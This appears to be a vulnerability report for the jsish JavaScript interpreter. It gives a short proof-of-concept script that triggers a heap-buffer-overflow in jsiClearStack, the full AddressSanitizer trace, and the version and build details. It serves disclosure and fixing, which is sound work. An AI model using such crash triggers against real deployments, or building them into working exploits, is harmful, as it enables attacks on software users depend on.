var a = Math.sin(Math.PI/2);
if (a === 1) {
switch (a) {
case assert(accessed, 'accessed !== true'): break;
default: throw "FAIL";
}
}
Execution steps & Output
$ ./jsish/jsish poc.js
==52181==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6250000000f8 at pc 0x55ff51f35d58 bp 0x7fff48257760 sp 0x7fff48257750
READ of size 8 at 0x6250000000f8 thread T0
#0 0x55ff51f35d57 in jsiClearStack src/jsiEval.c:120
#1 0x55ff51f35d57 in jsiPop src/jsiEval.c:200
#2 0x55ff51f35d57 in jsiEvalCodeSub src/jsiEval.c:1390
#3 0x55ff51f4215e in jsi_evalcode src/jsiEval.c:2204
#4 0x55ff51f46274 in jsi_evalStrFile src/jsiEval.c:2665
#5 0x55ff51c3566a in Jsi_Main src/jsiInterp.c:936
#6 0x55ff5243a03a in jsi_main src/main.c:47
#7 0x7fab5e008bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#8 0x55ff51bc9969 in _start (/usr/local/bin/jsish+0xe8969)
0x6250000000f8 is located 8 bytes to the left of 8192-byte region [0x625000000100,0x625000002100)
allocated by thread T0 here:
#0 0x7fab5ec77f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x55ff51c3a972 in Jsi_Realloc src/jsiUtils.c:47
SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiEval.c:120 in jsiClearStack
Shadow bytes around the buggy address:
0x0c4a7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c4a7fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa[fa]
0x0c4a7fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==52181==ABORTING
Jsish revision
Commit: 9fa798e
Version: v3.5.0
Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
Build steps
Test case
Execution steps & Output
Credits: Found by OWL337 team.